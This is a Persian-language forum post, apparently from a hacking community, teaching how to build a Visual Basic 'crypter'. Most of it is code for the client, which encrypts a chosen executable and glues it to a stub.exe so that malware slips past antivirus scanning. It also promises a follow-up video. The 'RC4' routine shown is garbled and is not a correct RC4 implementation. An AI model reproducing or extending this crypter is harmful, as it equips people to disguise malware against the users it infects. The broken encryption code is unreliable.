توی این پست با اجزای سازنده ی یه کریپتر نوشته شده یا زبان vb آشنا میشیم
یه کرپیتر از دو جز تشکیل شده. کلاینت که همون ظاهر کریپتر و stub که کار اصلی رو انجام می ده
این یه کریپتره:
ولی ما از یه کلاینت ساده استفاده می کنیم:
یه کلاینت حداقل از سه بخش تشکیل شده:
کدهای مربوط یه جست و جوی فایل:
کد PHP:
cmdlg.ShowOpen
txtFile.Text = cmdlg.FileName
کدهای مربوط به دستور کریپت:
کد PHP:
Dim sStub As String, sFile As String
Open App.Path & "\stub.exe" For Binary As #1
sStub = Space(LOF(1))
Get #1, , sStub
Close #1
Open txtFile.Text For Binary As #1
sFile = Space(LOF(1))
Get #1, , sFile
Close #1
sFile = RC4(sFile, "password")
Open App.Path & "\crypted.exe" For Binary As #1
Put #1, , sStub
Put #1, , "#^#^#"
Put #1, , sFile
Close #1
MsgBox "File Crypted", vbInformation, "Success!"
کد الگوریتم کریپت:
کد PHP:
Public Function RC4(ByVal Data As String, ByVal Password As String) As StringOn Error Resume NextDim F(0 To 255) As Integer, X, Y As Long, Key() As ByteKey() = StrConv(Password, vbFromUnicode)For X = 0 To 255Y = (Y + F(X) + Key(X Mod Len(Password))) Mod 256F(X) = XNext XKey() = StrConv(Data, vbFromUnicode)For X = 0 To Len(Data)Y = (Y + F(Y) + 1) Mod 256Key(X) = Key(X) Xor F(Temp + F((Y + F(Y)) Mod 254))Next XRC4 = StrConv(Key, vbUnicode)End Function
منظور از الگوریتم کریپت چیزی شبیه به رمزگذاری های معمول است اما شامل کدهایی می شود که در دستور کریپت و همین طور در Stub خوانده می شوند.این الگوریتم که ضمیمه شد 1الگوریتم RC4 نرمال است که همان طور که در دستور 2 آمده آن را فراخوانی کرده ایم.الگوریتم کریپت چیزی است که در کلاینت و Stub به 1شکل تکرار خواهد شد.این الگوریتم بدون شک بسیار قدیمی است اما می شود آن را تغییر داد و به 1الگوریتم به روز تبدیل کرد که به آن هم میرسیم.
در آخر این پست 1 کد ساده ی کلاینت ضمیمه می کنم برای اینکه آشنا بشوید.در پست بعدی هم فیلم آموزش قرار خواهم داد که چطور این کد ها 1کلاینت را تشکیل میدهند.
دوستان من کدهارو از سایت آشیانه گفتم اما اگر توی اینترنت سرچ کنید سورس کریپتر زیاد هست
تشکرها کمه،باور کنید الان گه عکس 4 تا گربه می ذاشتم بیشتر استقبال می شد